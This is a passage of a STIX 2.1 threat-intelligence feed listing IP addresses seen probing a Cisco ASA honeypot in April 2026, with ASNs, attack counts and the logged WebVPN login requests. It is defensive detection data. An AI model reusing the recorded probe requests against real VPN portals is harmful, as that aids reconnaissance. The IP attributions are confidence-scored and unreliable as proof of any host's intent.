          "first_seen": "2026-04-18T18:24:33.149Z",
          "last_seen": "2026-04-21T19:37:11.714Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--73226e76-8031-460d-ad11-32d7d4365221",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:20:06.000Z",
      "valid_until": "2026-05-20T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T18:53:00.584Z",
          "last_seen": "2026-04-26T04:55:44.897Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2713174e-6ffc-49dd-af9e-8250728b5da1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:20:06.000Z",
      "valid_until": "2026-05-20T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 20,
          "first_seen": "2026-04-18T19:09:55.414Z",
          "last_seen": "2026-04-29T13:40:06.810Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2a3baeb0-458c-4f85-8100-e151b2ecb1a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:20:06.000Z",
      "valid_until": "2026-05-20T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T19:19:45.134Z",
          "last_seen": "2026-04-29T09:30:00.941Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--7f22e9d1-3cb0-422b-9bb8-cd3697354aed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T19:25:29.927Z",
          "last_seen": "2026-04-25T06:49:35.990Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4ced7428-92b1-4f70-9522-ff69a4b8fa84",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 33,
          "first_seen": "2026-04-18T19:55:48.886Z",
          "last_seen": "2026-04-29T19:56:36.199Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--fe28262b-b53c-403f-8c9a-b0765f09310f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-18T19:37:19.530Z",
          "last_seen": "2026-04-26T02:46:07.516Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--30a0f2f7-4a93-4117-8140-a5677dbde05c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T19:43:23.126Z",
          "last_seen": "2026-04-18T20:00:29.932Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a17d827e-9940-4434-bb2d-20e1c91671ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T19:43:29.632Z",
          "last_seen": "2026-04-26T02:31:09.238Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--91228339-ed63-475a-bfd0-56e1a6830097",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T19:26:50.686Z",
          "last_seen": "2026-04-25T07:15:36.963Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--836ef100-de40-43d9-8cc0-bac6973c54e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T19:51:24.402Z",
          "last_seen": "2026-04-28T00:29:37.196Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c7f3dc1b-bad9-488b-893d-cfa219b04469",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T20:08:42.901Z",
          "last_seen": "2026-04-21T07:13:43.682Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--40b41990-12ce-42de-8e33-4351d78c5ac4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.183.31.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:20:12.000Z",
      "valid_until": "2026-05-20T20:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-18T19:29:24.128Z",
          "last_seen": "2026-04-18T19:29:27.130Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--03e17672-d592-41f6-b648-0830e8af5bc8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:20:10.000Z",
      "valid_until": "2026-05-20T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T21:05:05.182Z",
          "last_seen": "2026-04-18T21:17:21.193Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--900c42d5-6130-4b17-8b5b-c6fc6c00cc45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:20:10.000Z",
      "valid_until": "2026-05-20T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T20:34:20.287Z",
          "last_seen": "2026-04-30T05:41:32.199Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--34af55ab-18c5-4e2d-a960-36589da5ebae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:20:10.000Z",
      "valid_until": "2026-05-20T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T20:45:04.833Z",
          "last_seen": "2026-04-18T21:01:56.940Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0580b04a-e93d-4815-a3fd-a2c0fc12d357",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:20:10.000Z",
      "valid_until": "2026-05-20T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T21:02:55.620Z",
          "last_seen": "2026-04-21T20:06:17.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f743ae2e-3a3b-4550-8133-8886b92d5b7b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:20:10.000Z",
      "valid_until": "2026-05-20T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T20:53:03.499Z",
          "last_seen": "2026-04-18T20:53:09.884Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0303f1d8-ea48-4794-89a1-a99acc2b5b6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:20:10.000Z",
      "valid_until": "2026-05-20T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T21:12:59.993Z",
          "last_seen": "2026-04-27T16:11:49.300Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--101ea3dc-c61a-4d76-ad59-d07a9b20b49a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:20:05.000Z",
      "valid_until": "2026-05-20T22:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T21:34:24.447Z",
          "last_seen": "2026-04-18T21:34:32.035Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--212f0b28-528c-4071-819e-70ede41a89e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:20:05.000Z",
      "valid_until": "2026-05-20T22:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T21:58:59.189Z",
